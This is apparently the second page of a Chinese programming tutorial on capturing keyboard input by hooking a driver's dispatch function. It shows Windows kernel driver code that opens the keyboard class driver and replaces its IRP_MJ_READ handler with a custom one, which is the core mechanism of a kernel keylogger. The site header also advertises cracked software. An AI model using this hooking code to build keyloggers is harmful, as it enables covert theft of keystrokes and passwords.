免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > HOOK分发函数实现截获键盘输入(2)

HOOK分发函数实现截获键盘输入(2)

时间:2012-01-16 17:01来源:未知 整理:寂涯网络 点击:


}

 

VOID DriverUnload(PDRIVER_OBJECT DriverObject)                //卸载函数,应该更完善
{
   DbgPrint("successful!");
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath) //入口函数
{

PDRIVER_OBJECT kbdDriverObject;
UNICODE_STRING uniNtNameString;
NTSTATUS status=NULL;
NTSTATUS ObReferenceObjectByName(PUNICODE_STRING ObjectName,                          //先声明
         ULONG Attributes,
         PACCESS_STATE AccessState,
         ACCESS_MASK DesiredAccess,
         POBJECT_TYPE ObjectType,
         KPROCESSOR_MODE AccessMode,
         PVOID ParseContext,
         PVOID *Object);

RtlInitUnicodeString(&uniNtNameString,KBD_DRIVER_NAME);                       //初始化为0
status=ObReferenceObjectByName(                                            //得到并打开设备
       &uniNtNameString,
       OBJ_CASE_INSENSITIVE,
       NULL,
       0,
       IoDriverObjectType,
       KernelMode,
       NULL,
       &kbdDriverObject);
if(!NT_SUCCESS(status))
{
    DbgPrint("cannot get the kbd object/n");
    return STATUS_UNSUCCESSFUL;
}
else
{
   ULONG i;
   //PDRIVER_DISPATCH OldDispatchFunctions[IRP_MJ_MAXIMUM_FUNCTION+1];
   OldDispatchRead = kbdDriverObject->MajorFunction[IRP_MJ_READ];//保存原IRP_MJ_READ函数的入口地址
   InterlockedExchangePointer(&kbdDriverObject->MajorFunction[IRP_MJ_READ],NewDispatchRead);//替换为自定义的新分发函数的地址
   ObDereferenceObject(kbdDriverObject);                //不要忘记解除调用
}


DriverObject->DriverUnload=DriverUnload;
return STATUS_SUCCESS;

本页地址 http://www.jybase.net/biancheng/20120116752.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(1)
100%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com